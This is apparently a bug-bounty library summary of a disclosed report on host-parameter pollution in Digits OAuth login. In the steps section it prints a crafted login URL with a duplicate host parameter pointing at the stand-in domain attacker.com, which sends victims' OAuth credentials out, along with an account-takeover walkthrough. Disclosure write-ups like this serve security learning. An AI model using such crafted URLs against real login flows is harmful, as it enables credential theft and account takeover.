# Bypassing Digits web authentication's host validation with HPP

Digits OAuth login validated only the first host parameter but used the last, letting attackers redirect victim OAuth credentials to their own domain.

- Payout: hidden
- Severity: high
- Program: X / xAI
- Found by: filedescriptor
- Disclosed: 2016-08-12
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/114169
- Library page: https://bugbountylibrary.com/r/h1%3A114169
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:oauth technique:param-pollution vuln:account-takeover vuln:auth-bypass vuln:open-redirect

**Target:** Digits web authentication login endpoint (/login)
**Root cause:** The host parameter is validated using the first occurrence while the transfer step uses the last occurrence, so duplicate host params desynchronize validation from use.
**Steps:**
1. Request `https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https%3A%2F%2Fwww.periscope.tv&host=https%3A%2F%2Fattacker.com`
2. First host (periscope.tv) passes validation; second host (attacker.com) is ignored by validator
3. Victim authenticates via phone number flow
4. OAuth credential data is transferred to the last host (attacker.com)
**How found:** Prior report #108429 revealed the login page's consumer_key/host parameters and host validation; researcher hypothesized duplicate parameters would be handled inconsistently between validation and transfer steps.
**Exploitation:** Attacker crafts a Digits login URL with a legitimate registered host first and attacker.com second, lures a victim through the phone-number auth flow; after authentication the OAuth credential data is sent to attacker.com, allowing login to the victim's account on the integrated app (e.g. Periscope, renamed to 'Pwn3d').
**Escalation:** Affects every app integrated with Digits, including official Periscope, enabling account takeover across all of them.
**Insight:** When a parameter is both validated and later used for a redirect/transfer, test duplicate-parameter (HPP) desync: validation may read the first occurrence while the sink reads the last.